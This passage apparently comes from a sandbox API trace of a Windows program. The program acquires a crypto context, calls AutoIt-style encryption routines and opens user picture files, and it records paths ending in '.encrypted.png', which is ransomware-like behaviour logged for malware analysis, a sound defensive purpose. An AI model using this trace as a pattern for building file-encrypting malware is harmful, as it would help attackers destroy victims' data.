lpMsg=0xe8f3dfeb20) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.867] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.868] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.869] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.869] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.869] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.870] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.870] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.870] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.870] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.871] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.871] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.871] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.871] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9925) returned 1 [0028.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.871] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x26c5, lpOverlapped=0x0) returned 1 [0028.872] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.872] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x26c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.872] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9925) returned 1 [0028.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\XUN2brrF9I3oYGd0.encrypted.png\r\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0028.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\XUN2brrF9I3oYGd0.encrypted.png\r\n", cchWideChar=68, lpMultiByteStr=0xe8f40514f0, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\XUN2brrF9I3oYGd0.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 68 [0028.872] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a130*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a130*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x43, lpOverlapped=0x0) returned 1 [0028.872] CloseHandle (hObject=0x1fc) returned 1 [0028.873] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.873] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.873] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.873] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.873] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.873] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.874] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.874] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.875] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.875] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.875] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0028.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif", cchWideChar=47, lpMultiByteStr=0xe8f404be10, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif", lpUsedDefaultChar=0x0) returned 47 [0028.876] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\pwettxmsacc5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0028.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=47, lpWideCharStr=0xe8f4062aa0, cchWideChar=47 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\PwETTxmSaCc5.gif") returned 47 [0028.876] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.877] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.877] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.877] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.877] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.878] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.878] CloseHandle (hObject=0x1fc) returned 1 [0028.878] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.878] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.878] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.878] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.878] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.878] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.878] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.878] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.879] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.879] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.879] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.879] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.880] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.880] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.880] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.880] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.880] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199930) returned 1 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.881] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.881] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.881] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, 